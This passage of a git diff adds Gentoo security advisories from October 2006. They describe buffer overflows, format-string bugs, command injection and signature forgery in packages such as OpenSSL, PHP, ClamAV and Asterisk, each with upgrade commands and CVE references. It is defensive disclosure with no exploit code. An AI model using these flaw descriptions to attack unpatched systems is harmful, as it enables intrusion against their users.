+    production-quality releases of code derived from the application
+    formerly known as 'Mozilla Application Suite'.
+    </p>
+  </background>
+  <description>
+    <p>
+    A number of vulnerabilities have been found and fixed in Seamonkey. For
+    details please consult the references below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    The most severe vulnerability involves enticing a user to visit a
+    malicious website, crashing the application and executing arbitrary
+    code with the rights of the user running Seamonkey.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Seamonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4253">CVE-2006-4253</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4565">CVE-2006-4565</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4566">CVE-2006-4566</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4568">CVE-2006-4568</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4570">CVE-2006-4570</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4571">CVE-2006-4571</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 11 Oct 2006 11:17:26 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 13 Oct 2006 13:40:59 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-05.xml b/xml/htdocs/security/en/glsa/glsa-200610-05.xml
new file mode 100644
index 00000000..1ddc79a3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-05.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-05">
+  <title>CAPI4Hylafax fax receiver: Execution of arbitrary code</title>
+  <synopsis>
+    CAPI4Hylafax allows remote attackers to execute arbitrary commands.
+  </synopsis>
+  <product type="ebuild">capi4hylafax</product>
+  <announced>October 17, 2006</announced>
+  <revised>October 17, 2006: 01</revised>
+  <bug>145982</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/capi4hylafax" auto="yes" arch="*">
+      <unaffected range="ge">01.03.00.99.300.3-r1</unaffected>
+      <vulnerable range="lt">01.03.00.99.300.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CAPI4Hylafax makes it possible to send and receive faxes via CAPI and
+    AVM Fritz!Cards.
+    </p>
+  </background>
+  <description>
+    <p>
+    Lionel Elie Mamane discovered an error in c2faxrecv, which doesn't
+    properly sanitize TSI strings when handling incoming calls.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can send null (\0) and shell metacharacters in the
+    TSI string from an anonymous fax number, leading to the execution of
+    arbitrary code with the rights of the user running c2faxrecv.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CAPI4Hylafax users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/capi4hylafax-01.03.00.99.300.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3126">CVE-2006-3126</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 11 Oct 2006 11:18:55 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 Oct 2006 13:56:18 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 13 Oct 2006 13:57:08 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-06.xml b/xml/htdocs/security/en/glsa/glsa-200610-06.xml
new file mode 100644
index 00000000..d8bed652
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-06.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-06">
+  <title>Mozilla Network Security Service (NSS): RSA signature forgery</title>
+  <synopsis>
+    NSS fails to properly validate PKCS #1 v1.5 signatures.
+  </synopsis>
+  <product type="ebuild">nss</product>
+  <announced>October 17, 2006</announced>
+  <revised>October 17, 2006: 01</revised>
+  <bug>148283</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/nss" auto="yes" arch="*">
+      <unaffected range="ge">3.11.3</unaffected>
+      <vulnerable range="lt">3.11.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Network Security Service is a library implementing security
+    features like SSL v.2/v.3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12,
+    S/MIME and X.509 certificates.
+    </p>
+  </background>
+  <description>
+    <p>
+    Daniel Bleichenbacher discovered that it might be possible to forge
+    signatures signed by RSA keys with the exponent of 3. This affects a
+    number of RSA signature implementations, including Mozilla's NSS.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Since several Certificate Authorities (CAs) are using an exponent of 3
+    it might be possible for an attacker to create a key with a false CA
+    signature. This impacts any software using the NSS library, like the
+    Mozilla products Firefox, Thunderbird and Seamonkey.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NSS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/nss-3.11.3&quot;</code>
+    <p>
+    Note: As usual after updating a library, you should run
+    'revdep-rebuild' (from the app-portage/gentoolkit package) to ensure
+    that all applications linked to it are properly rebuilt.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4339">CVE-2006-4339</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4340">CVE-2006-4340</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 25 Sep 2006 12:57:17 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Oct 2006 18:27:05 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 08 Oct 2006 19:45:16 +0000">
+    frilled
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-07.xml b/xml/htdocs/security/en/glsa/glsa-200610-07.xml
new file mode 100644
index 00000000..940320f0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-07.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-07">
+  <title>Python: Buffer Overflow</title>
+  <synopsis>
+    A buffer overflow in Python's "repr()" function can be exploited to cause a
+    Denial of Service and potentially allows the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">python</product>
+  <announced>October 17, 2006</announced>
+  <revised>February 26, 2007: 03</revised>
+  <bug>149065</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/python" auto="yes" arch="*">
+      <unaffected range="ge">2.4.3-r4</unaffected>
+      <unaffected range="rge">2.3.5-r3</unaffected>
+      <unaffected range="rge">2.3.6</unaffected>
+      <vulnerable range="lt">2.4.3-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Python is an interpreted, interactive, object-oriented, cross-platform
+    programming language.
+    </p>
+  </background>
+  <description>
+    <p>
+    Benjamin C. Wiley Sittler discovered a buffer overflow in Python's
+    "repr()" function when handling UTF-32/UCS-4 encoded strings.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If a Python application processes attacker-supplied data with the
+    "repr()" function, this could potentially lead to the execution of
+    arbitrary code with the privileges of the affected application or a
+    Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Python users should update to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.4.3-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4980">CVE-2006-4980</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 27 Sep 2006 19:59:22 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 Oct 2006 14:44:47 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 16 Oct 2006 09:21:34 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-08.xml b/xml/htdocs/security/en/glsa/glsa-200610-08.xml
new file mode 100644
index 00000000..04a2f54f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-08.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-08">
+  <title>Cscope: Multiple buffer overflows</title>
+  <synopsis>
+    Cscope is vulnerable to multiple buffer overflows that could lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">cscope</product>
+  <announced>October 20, 2006</announced>
+  <revised>October 20, 2006: 01</revised>
+  <bug>144869</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/cscope" auto="yes" arch="*">
+      <unaffected range="ge">15.5.20060927</unaffected>
+      <vulnerable range="lt">15.5.20060927</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cscope is a developer's tool for browsing source code.
+    </p>
+  </background>
+  <description>
+    <p>
+    Unchecked use of strcpy() and *scanf() leads to several buffer
+    overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A user could be enticed to open a carefully crafted file which would
+    allow the attacker to execute arbitrary code with the permissions of
+    the user running Cscope.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cscope users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/cscope-15.5.20060927&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4262">CVE-2006-4262</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 18 Oct 2006 20:32:19 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 18 Oct 2006 20:33:33 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-09.xml b/xml/htdocs/security/en/glsa/glsa-200610-09.xml
new file mode 100644
index 00000000..dbc22dbe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-09.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-09">
+  <title>libmusicbrainz: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple buffer overflows have been found in libmusicbrainz, which could
+    lead to a Denial of Service or possibly the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libmusicbrainz</product>
+  <announced>October 22, 2006</announced>
+  <revised>October 22, 2006: 01</revised>
+  <bug>144089</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/musicbrainz" auto="yes" arch="*">
+      <unaffected range="ge">2.1.4</unaffected>
+      <vulnerable range="lt">2.1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libmusicbrainz is a client library used to access MusicBrainz music
+    meta data.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma reported a possible buffer overflow in the
+    MBHttp::Download function of lib/http.cpp as well as several possible
+    buffer overflows in lib/rdfparse.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could be able to execute arbitrary code or cause
+    Denial of Service by making use of an overly long "Location" header in
+    an HTTP redirect message from a malicious server or a long URL in
+    malicious RDF feeds.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libmusicbrainz users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/musicbrainz-2.1.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4197">CVE-2006-4197</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 18 Oct 2006 12:31:28 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 19 Oct 2006 20:02:01 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 20 Oct 2006 14:53:09 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-10.xml b/xml/htdocs/security/en/glsa/glsa-200610-10.xml
new file mode 100644
index 00000000..6414cdb5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-10.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-10">
+  <title>ClamAV: Multiple Vulnerabilities</title>
+  <synopsis>
+    ClamAV is vulnerable to a heap-based buffer overflow potentially allowing
+    remote execution of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>October 24, 2006</announced>
+  <revised>October 24, 2006: 01</revised>
+  <bug>151561</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.88.5</unaffected>
+      <vulnerable range="lt">0.88.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    Damian Put and an anonymous researcher reported a potential heap-based
+    buffer overflow vulnerability in rebuildpe.c responsible for the
+    rebuilding of an unpacked PE file, and a possible crash in chmunpack.c
+    in the CHM unpacker.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a malicious attachment to a mail server running ClamAV, or
+    providing a malicious file to ClamAV through any other method, a remote
+    attacker could cause a Denial of Service and potentially the execution
+    of arbitrary code with the permissions of the user running ClamAV.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.88.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sourceforge.net/project/shownotes.php?release_id=455799">Original commit log</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4182">CVE-2006-4182</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 16 Oct 2006 11:34:35 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Oct 2006 14:39:53 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-11.xml b/xml/htdocs/security/en/glsa/glsa-200610-11.xml
new file mode 100644
index 00000000..14cfbe97
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-11.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-11">
+  <title>OpenSSL: Multiple vulnerabilities</title>
+  <synopsis>
+    OpenSSL contains multiple vulnerabilities including the possible remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">openssl</product>
+  <announced>October 24, 2006</announced>
+  <revised>October 24, 2006: 01</revised>
+  <bug>145510</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.8d</unaffected>
+      <unaffected range="rge">0.9.7l</unaffected>
+      <vulnerable range="lt">0.9.8d</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is a toolkit implementing the Secure Sockets Layer, Transport
+    Layer Security protocols and a general-purpose cryptography library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy and Will Drewry, both of the Google Security Team,
+    discovered that the SSL_get_shared_ciphers() function contains a buffer
+    overflow vulnerability, and that the SSLv2 client code contains a flaw
+    leading to a crash. Additionally Dr. Stephen N. Henson found that the
+    ASN.1 handler contains two Denial of Service vulnerabilities: while
+    parsing an invalid ASN.1 structure and while handling certain types of
+    public key.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could trigger the buffer overflow vulnerability by sending
+    a malicious suite of ciphers to an application using the vulnerable
+    function, and thus execute arbitrary code with the rights of the user
+    running the application. An attacker could also consume CPU and/or
+    memory by exploiting the Denial of Service vulnerabilities. Finally a
+    malicious server could crash a SSLv2 client through the SSLv2
+    vulnerability.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSL 0.9.8 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.8d&quot;</code>
+    <p>
+    All OpenSSL 0.9.7 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.7l&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2937">CVE-2006-2937</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2940">CVE-2006-2940</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3738">CVE-2006-3738</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4343">CVE-2006-4343</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 28 Sep 2006 15:36:31 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 13 Oct 2006 16:05:39 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Oct 2006 10:05:56 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-12.xml b/xml/htdocs/security/en/glsa/glsa-200610-12.xml
new file mode 100644
index 00000000..df158744
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-12.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-12">
+  <title>Apache mod_tcl: Format string vulnerability</title>
+  <synopsis>
+    A format string vulnerabilty has been found in Apache mod_tcl, which could
+    lead to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mod_tcl</product>
+  <announced>October 24, 2006</announced>
+  <revised>October 24, 2006: 01</revised>
+  <bug>151359</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_tcl" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1</unaffected>
+      <vulnerable range="lt">1.0.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Apache mod_tcl is a TCL interpreting module for the Apache 2.x web
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sparfell discovered format string errors in calls to the set_var
+    function in tcl_cmds.c and tcl_core.c.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit the vulnerability to execute arbitrary
+    code with the rights of the user running the Apache server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mod_tcl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_tcl-1.0.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4154">CVE-2006-4154</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 21 Oct 2006 12:26:41 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 21 Oct 2006 20:37:41 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 23 Oct 2006 14:13:35 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-13.xml b/xml/htdocs/security/en/glsa/glsa-200610-13.xml
new file mode 100644
index 00000000..0d0b45d8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-13.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-13">
+  <title>Cheese Tracker: Buffer Overflow</title>
+  <synopsis>
+    Cheese Tracker contains a buffer overflow allowing the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">cheesetracker</product>
+  <announced>October 26, 2006</announced>
+  <revised>October 26, 2006: 01</revised>
+  <bug>142391</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/cheesetracker" auto="yes" arch="*">
+      <unaffected range="ge">0.9.9-r1</unaffected>
+      <vulnerable range="lt">0.9.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cheese Tracker is a Qt-based portable Impulse Tracker clone, a music
+    tracker for the CT, IT, XM and S3M file formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma reported that the XM loader of Cheese Tracker contains a
+    buffer overflow vulnerability in the
+    loader_XM::load_intrument_internal() function from
+    loaders/loader_xm.cpp.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could execute arbitrary code with the rights of the user
+    running Cheese Tracker by enticing a user to load a crafted file with
+    large amount of extra data.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cheese Tracker users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/cheesetracker-0.9.9-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3814">CVE-2006-3814</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 20 Oct 2006 07:43:58 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Oct 2006 14:33:27 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 24 Oct 2006 15:18:21 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-14.xml b/xml/htdocs/security/en/glsa/glsa-200610-14.xml
new file mode 100644
index 00000000..7e37ebcd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-14.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-14">
+  <title>PHP: Integer overflow</title>
+  <synopsis>
+    PHP is vulnerable to an integer overflow potentially allowing the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">php</product>
+  <announced>October 30, 2006</announced>
+  <revised>March 29, 2008: 04</revised>
+  <bug>150261</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/php" auto="yes" arch="*">
+      <unaffected range="rge">4.4.4-r6</unaffected>
+      <unaffected range="rge">4.4.6</unaffected>
+      <unaffected range="rge">4.4.7</unaffected>
+      <unaffected range="rge">4.4.8_pre20070816</unaffected>
+      <unaffected range="ge">5.1.6-r6</unaffected>
+      <vulnerable range="lt">5.1.6-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a widely-used general-purpose scripting language that is
+    especially suited for Web development and can be embedded into HTML.
+    </p>
+  </background>
+  <description>
+    <p>
+    A flaw in the PHP memory handling routines allows an unserialize() call
+    to be executed on non-allocated memory due to a previous integer
+    overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could execute arbitrary code with the rights of the web
+    server user or the user running a vulnerable PHP script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP 5.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-5.1.6-r6&quot;</code>
+    <p>
+    All PHP 4.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-4.4.4-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4812">CVE-2006-4812</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 18 Oct 2006 12:42:57 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 18 Oct 2006 18:52:45 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 24 Oct 2006 10:10:01 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-15.xml b/xml/htdocs/security/en/glsa/glsa-200610-15.xml
new file mode 100644
index 00000000..629b6000
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-15.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-15">
+  <title>Asterisk: Multiple vulnerabilities</title>
+  <synopsis>
+    Asterisk is vulnerable to the remote execution of arbitrary code or a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">asterisk</product>
+  <announced>October 30, 2006</announced>
+  <revised>January 30, 2007: 02</revised>
+  <bug>144941</bug>
+  <bug>151881</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/asterisk" auto="yes" arch="*">
+      <unaffected range="ge">1.2.13</unaffected>
+      <unaffected range="rge">1.0.12</unaffected>
+      <vulnerable range="lt">1.2.13</vulnerable>
+      <vulnerable range="lt">1.0.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Asterisk is an open source implementation of a telephone private branch
+    exchange (PBX).
+    </p>
+  </background>
+  <description>
+    <p>
+    Asterisk contains buffer overflows in channels/chan_mgcp.c from the
+    MGCP driver and in channels/chan_skinny.c from the Skinny channel
+    driver for Cisco SCCP phones. It also dangerously handles
+    client-controlled variables to determine filenames in the Record()
+    function. Finally, the SIP channel driver in channels/chan_sip.c could
+    use more resources than necessary under unspecified circumstances.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could execute arbitrary code by sending a crafted
+    audit endpoint (AUEP) response, by sending an overly large Skinny
+    packet even before authentication, or by making use of format strings
